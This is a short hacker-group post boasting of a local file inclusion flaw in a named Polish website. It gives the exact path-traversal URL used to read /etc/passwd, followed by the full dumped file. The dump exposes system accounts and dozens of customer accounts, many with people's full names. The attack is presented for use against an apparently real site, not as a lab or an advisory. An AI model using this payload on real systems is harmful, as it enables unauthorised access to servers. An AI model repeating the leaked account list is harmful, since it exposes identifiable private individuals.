Made In Poland Vuln LFI :)

Made In Poland Official Vuln by HagashTeam

Target: http://made-in-poland.info/
Vuln: http://made-in-poland.info/index.php?main=../../../../../../../../etc/passwd
===================================================================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh postfix:x:101:101::/var/spool/postfix:/bin/false sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin ftp:x:102:65534::/srv/ftp:/bin/false alias:x:200:201::/var/qmail/alias: qmaild:x:201:201::/var/qmail: qmaill:x:205:201::/var/qmail: qmailp:x:206:201::/var/qmail: qmailq:x:204:200::/var/qmail: qmailr:x:203:200::/var/qmail: qmails:x:202:200::/var/qmail: admin:x:2414000:2414000:admin:/home/users/admin:/bin/bash ftpuser:x:2414001:2414001:ftpuser:/home/ftp:/bin/false http:x:2414002:2414002:httpuser:/home/httpd:/bin/false webadmin:x:2414003:2414003:webadmin:/srv/webadmin:/bin/false mailadmin:x:2414004:2414004:mailadmin:/srv/mailadmin:/bin/false backdoor:x:2414005:2414005:backdoor:/srv:/bin/false wwwmail:x:2414006:2414006:wwwmail:/home/conf/webmail:/bin/false vpopmail:x:2414007:2414007:vpopmail:/srv/vpopmail:/bin/bash default:x:2414011:2414011:default:/home/users/default:/usr/bin/scponly mon:x:103:105::/var/lib/mon:/bin/false tldweb:x:2414009:2414009:tldweb,,,:/etc/tldweb:/bin/false stunnel4:x:104:106::/var/run/stunnel4:/bin/false dawel:x:2414022:2414022:Pawel Kawka:/home/users/dawel:/usr/bin/scponly ksiegarnia:x:2414023:2414023:Tomasz Liwinski:/home/users/ksiegarnia:/usr/bin/scponly lysiak:x:2414024:2414024:ZW Krzysztof Lysiak:/home/users/lysiak:/usr/bin/scponly piensk:x:2414027:2414027:Start:/home/users/piensk:/usr/bin/scponly npj:x:2414028:2414028:Pawel Norek:/home/users/npj:/usr/bin/scponly interkodak:x:2414031:2414031:Roman Blazejczak:/home/users/interkodak:/usr/bin/scponly elektrowat:x:2414033:2414033:Ryszard Zelaskiewicz:/home/users/elektrowat:/usr/bin/scponly instbud:x:2414037:2414037:Tomasz Turlejski:/home/users/instbud:/usr/bin/scponly przedszkole:x:2414044:2414044:Malgorzata Czekala:/home/users/przedszkole:/usr/bin/scponly sabra:x:2414045:2414045:sabra:/home/users/sabra:/usr/bin/scponly psisalon:x:2414053:2414053:Start:/home/users/psisalon:/usr/bin/scponly mapal:x:2414054:2414054:Start:/home/users/mapal:/usr/bin/scponly asta:x:2414055:2414055:Agnieszka Zaprzalek:/home/users/asta:/usr/bin/scponly smf:x:2414060:2414060:Studio Miniatur Filmowych:/home/users/smf:/usr/bin/scponly zoz:x:2414063:2414063:Start:/home/users/zoz:/usr/bin/scponly cemhurt:x:2414064:2414064:Przemyslaw Stankiewicz:/home/users/cemhurt:/usr/bin/scponly roj:x:2414065:2414065:Jerzy Rozensztrauch:/home/users/roj:/usr/bin/scponly sosw3:x:2414069:2414069:Lukasz Jablonski:/home/users/sosw3:/usr/bin/scponly pks:x:2414073:2414073:Mariusz Wyrostkiewicz:/home/users/pks:/usr/bin/scponly olk:x:2414089:2414089:Jaroslaw Kaleta:/home/users/olk:/usr/bin/scponly uzdrowisko:x:2414092:2414092:Start:/home/users/uzdrowisko:/usr/bin/scponly wandahotel:x:2414095:2414095:Wanda Olenkowicz:/home/users/wandahotel:/usr/bin/scponly soltys:x:2414096:2414096:Daniel Szymczyk:/home/users/soltys:/usr/bin/scponly mool:x:2414102:2414102:Rafal Barcik:/home/users/mool:/usr/bin/scponly 4work:x:2414108:2414108:Eugeniusz Bartoszewski:/home/users/4work:/usr/bin/scponly warsztat:x:2414109:2414109:Tomasz Mendrek:/home/users/warsztat:/usr/bin/scponly pupbilgoraj:x:2414110:2414110:Start:/home/users/pupbilgoraj:/usr/bin/scponly dragon:x:2414111:2414111:Mariusz Korgul:/home/users/dragon:/usr/bin/scponly cezary:x:2414115:2414115:Cezary Chalupczak:/home/users/cezary:/usr/bin/scponly osrodek:x:2414117:2414117:Andrzej Stacewicz:/home/users/osrodek:/usr/bin/scponly bartyla:x:2414119:2414119:Wrokom:/home/users/bartyla:/usr/bin/scponly duralpolska:x:2414127:2414127:Start:/home/users/duralpolska:/usr/bin/scponly radcysp:x:2414129:2414129:Maciej Jagodzinski:/home/users/radcysp:/usr/bin/scponly najmanowicz:x:2414138:2414138:Adam Najmanowicz:/home/users/najmanowicz:/usr/bin/scponly iva2:x:2414144:2414144:Start:/home/users/iva2:/usr/bin/scponly crickets:x:2414145:2414145:Crickets:/home/users/crickets:/usr/bin/scponly b-w-s:x:2414146:2414146:Start:/home/users/b-w-s:/usr/bin/scponly ssks:x:2414150:2414150:SSKS:/home/users/ssks:/usr/bin/scponly hombre:x:2414155:2414155:Hombre:/home/users/hombre:/usr/bin/scponly kicpak:x:2414156:2414156:Kicpak:/home/users/kicpak:/usr/bin/scponly dims:x:2414159:2414159:Dims:/home/users/dims:/usr/bin/scponly pylkow:x:2414160:2414160:Start:/home/users/pylkow:/usr/bin/scponly wibor:x:2414162:2414162:Wibor:/home/users/wibor:/usr/bin/scponly dmsolutions:x:2414168:2414168:Premium:/home/users/dmsolutions:/usr/bin/scponly hewit:x:2414171:2414171:hewit:/home/users/hewit:/usr/bin/scponly grzybmar:x:2414172:2414172:grzybmar:/home/users/grzybmar:/usr/bin/scponly armor:x:2414178:2414178:armor:/home/users/armor:/usr/bin/scponly iva2_koros:x:2414187:2414187:iva2_koros:/home/users/iva2_koros:/usr/bin/scponly cls-opakowania:x:2414188:2414188:cls-opakowania:/home/users/cls-opakowania:/usr/bin/scponly majkel:x:2414191:2414191:majkel:/home/users/majkel:/usr/bin/scponly gwint-met:x:2414195:2414195:gwint-met:/home/users/gwint-met:/usr/bin/scponly domna5:x:2414196:2414196:domna5:/home/users/domna5:/usr/bin/scponly wisnia:x:2414199:2414199:Start:/home/users/wisnia:/usr/bin/scponly jazdapolska:x:2414200:2414200:jazdapolska:/home/users/jazdapolska:/usr/bin/scponly lipipuk:x:2414203:2414203:lipipuk:/home/users/lipipuk:/usr/bin/scponly wloka:x:2414205:2414205:Start:/home/users/wloka:/usr/bin/scponly gramet:x:2414207:2414207:gramet:/home/users/gramet:/usr/bin/scponly kirjak:x:2414211:2414211:kirjak:/home/users/kirjak:/usr/bin/scponly pawelwrzosek:x:2414212:2414212:pawelwrzosek:/home/users/pawelwrzosek:/usr/bin/scponly ms47:x:2414218:2414218:ms47:/home/users/ms47:/usr/bin/scponly semik:x:2414219:2414219:semik:/home/users/semik:/usr/bin/scponly afryka:x:2414222:2414222:afryka:/home/users/afryka:/usr/bin/scponly uobwiesiow:x:2414228:2414228:uobwiesiow:/home/users/uobwiesiow:/usr/bin/scponly sling:x:2414238:2414238:sling:/home/users/sling:/usr/bin/scponly j-m:x:2414241:2414241:j-m:/home/users/j-m:/usr/bin/scponly fusyi:x:2414248:2414248:Start:/home/users/fusyi:/usr/bin/scponly kablex:x:2414253:2414253:kablex:/home/users/kablex:/usr/bin/scponly krajski:x:2414256:2414256:Start:/home/users/krajski:/usr/bin/scponly accom:x:2414262:2414262:Pro:/home/users/accom:/usr/bin/scponly rogujski:x:2414265:2414265:rogujski:/home/users/rogujski:/usr/bin/scponly podwyciagiem:x:2414277:2414277:podwyciagiem:/home/users/podwyciagiem:/usr/bin/scponly wpi:x:2414281:2414281:wpi:/home/users/wpi:/usr/bin/scponly grott:x:2414285:2414285:grott:/home/users/grott:/usr/bin/scponly monada:x:2414286:2414286:monada:/home/users/monada:/usr/bin/scponly hydro-bud:x:2414287:2414287:hydro-bud:/home/users/hydro-bud:/usr/bin/scponly horala:x:2414288:2414288:horala:/home/users/horala:/usr/bin/scponly pasmex:x:2414297:2414297:pasmex:/home/users/pasmex:/usr/bin/scponly vademecum:x:2414301:2414301:vademecum:/home/users/vademecum:/usr/bin/scponly ecobag:x:2414305:2414305:ecobag:/home/users/ecobag:/usr/bin/scponly ketz:x:2414309:2414309:ketz:/home/users/ketz:/usr/bin/scponly zubek-pri:x:2414029:2414029:Antoni Zubek:/home/users/zubek-pri:/usr/bin/scponly tldproxy:x:2414012:2414012:tldproxy,,,:/home/httpd:/bin/false